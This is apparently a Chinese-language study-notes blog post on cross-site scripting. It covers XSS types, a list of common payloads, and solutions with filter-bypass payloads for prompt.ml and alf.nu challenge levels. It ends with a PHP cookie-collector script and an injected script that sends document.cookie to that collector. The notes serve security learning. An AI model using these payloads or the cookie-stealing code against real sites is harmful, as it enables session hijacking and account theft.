zoukankan      html  css  js  c++  java
  • xss 学习(一)

    • 存储型 、反射型、DOM 型这是最常见的三种分类:

    存储型
    存储型XSS也叫持久型XSS,存储的意思就是Payload是有经过存储的,当一个页面存在存储型XSS的时候,XSS注入成功后,那么每次访问该页面都将触发XSS,典型的例子是:
    如留言板
    1. 插入留言=>内容存储到数据库
    2. 查看留言=>内容从数据库提取出来
    3. 内容在页面显示
    如果这里存在XSS,Payload可以通过留言内容提交,然后显示在页面的时候可以生效,那么就是典型的存储型XSS。
    反射型
    反射型XSS也叫非持久型XSS,最常见的是Payload是构造在网址的某个GET参数的值里。 
    DOM 型
    其实DOM型也属于反射型的一种,不过比较特殊,所以一般也当做一种单独类型
    DOM:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的
    Xss 常用语句
    <script>alert(/xss/)</script>
    <script>alert(xss)</script>
    <syn/onload=alert(1)>
    <body onload = alert('test1')>
    <img src =“http://url.to.file.which/not.exist”onerror = alert(document.cookie);
    <svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
    可以插入xss的元素:Form,Iframe,Input,Embed, style,object等元素
    可以利用的事件:
    onClick() (有人点击表格)
    onerror() 加载文档,图片,发生错误
    onload() 载入窗口
    onmousemover()(光标在对象或区域上移动)
    onMouseUp() (攻击者需要让用户点击图像

    • Xss 游戏:http://prompt.ml/0
      等级0
      Text Viewer

    function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';

    Payload: "><svg/onload=prompt(1)// 
    等级1
    function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /</?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';

    这段含有<>设为空
    Payload :<svg/onload=prompt(1) 
    注意:最后又回车或空格
    等级2
    function escape(input) {
    // v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
    }

    过滤等号括号
    Payload: <svg><script>prompt&#40;1)</script> 
    &#40; 为‘(’html 码
    等级3:
    function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';

    Payload:--!> < svg / onload = prompt(1)
    等级5
    function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '<input value="' + input + '" type="text">';

    Payload: "type=image src onerror
    ="prompt(1)
    注:对> on开头进行过滤,用事件来触发;正则表达式:无法对多行进去过滤
    等级7
    function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
    // title can only contain 12 characters
    return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join(' ');

    Payload: “> < svg / a = #” onload ='/ *#* / prompt(1)'

    #做隔断符号,字符个数限制在12个
    p class = “ comment ” title = “ ” > < svg / a = “ > </ p> 
    <p class = ” comment “ title = ” “ onload ='/ * ” > </ p >
    < p class = “ comment ” title = “ * / prompt(1)' ” > </ p >
    等级10
    function escape(input) {
    // (╯°□°)╯︵ ┻━┻
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    // ┬──┬ ノ( ゜-゜ノ) chill out bro
    input = input.replace(/'/g, '');

    // (╯°□°)╯︵ /(.□. )DONT FLIP ME BRO
    return '<script>' + input + '</script> ';

    Payload: p ' rompt(1)

    • xss游戏 https://alf.nu/alert1

    等级1:
    function escape(s) {
    return '<script>console.log("'+s+'");</script>';
    }
    Payload=");alert(1)//
    等级2:
    function escape(s) {
    s = s.replace(/"/g, '\"');
    return '<script>console.log("' + s + '");</script>';
    }
    Payload:");alert(1)//
    等级3:
    function escape(s) {
    s = JSON.stringify(s);
    return '<script>console.log(' + s + ');</script>';
    }
    Payload: </script><svg/onload=alert(1)>
    等级4:
    function escape(s) {
    var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
    console.log(url);

    var a = document.createElement('a');
    a.href = url;
    document.body.appendChild(a);
    a.click();
    payload: %22);alert(1)//
    注:href 支持URL ,所以支持URL 编码
    等级6
    function escape(s) {
    // Slightly too lazy to make two input fields.
    // Pass in something like "TextNode#foo"
    var m = s.split(/#/);

    // Only slightly contrived at this point.
    var a = document.createElement('div');
    a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
    return a.innerHTML;
    }
    Payload: Comment#><iframe onload=alert(1)
    等级8
    1
    2
    3 function escape(s) {
    return '<script>console.log("' + s.toUpperCase() + '")</script>';
    }
    Payload: </script>< iframe onload=&#x61&#x6C&#x65&#x72&#x74(1)>
    Js 对大小写敏感 html 不敏感。所以不能写在script内
    等级9
    function escape(s) {
    function htmlEscape(s) {
    return s.replace(/./g, function(x) {
    return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }[x] || x; 
    });
    }
    Payload: 74 body onload=alert(1)// 
    <使用八进制74替换
    等级10
    function escape(s) {
    s = JSON.stringify(s).replace(/</script/gi, '');

    return '<script>console.log(' + s + ');</script>';
    }

    Payload: </scrip</scriptt><script>alert(1)//
    对</script>转化为空,分成两次就绕过了

    • XSS语句总结:

    尽然简短 常用语句:<svg/onload=alert(1)>
    闭合语句:"><svg/onload=prompt(1)// 
    --!> < svg / onload = prompt(1)
    ");alert(1)//
    绕过正则表达式:加上回车或空格等符号
    过滤了等号<script>alert#&40;1)</script>
    过滤了< ( 处理方式: 用html码#&40;=’(‘,八进制字符,十六进制字符。
    转化成json 字符串,做script闭合: </script><svg/onload=alert(1)>
    在连接插入脚本,可以使用URL 编码
    把字符变成大写;script对大小写敏感 ,写在标签里,用事件触发:
    </script>< iframe onload=&#x61&#x6C&#x65&#x72&#x74(1)>

    • 接收cookie php代码

    <?php
    $cookie = $_get['cookie'];
    file_put_contents('cookie.txt',$cookie);
    ?>

     *接收用户名 密码的 php 代码

    插入的语句:

    <script>document.location='http://127.0.0.1.cookie.php?cookie=' +document.cookie;<script>

  • 相关阅读:
    JVM内存结构
    JVM中的类加载
    数据库索引详解
    Spring IOC 总结
    Java多线程(一)—— 常见问题整理
    Java集合框架 面试问题整理
    Java8 Lambda表达式
    vue开发技巧
    mysql(MariaDB)问题处理
    字符串非空判断的效率问题
  • 原文地址:https://www.cnblogs.com/vennus/p/11352878.html
Copyright © 2011-2022 走看看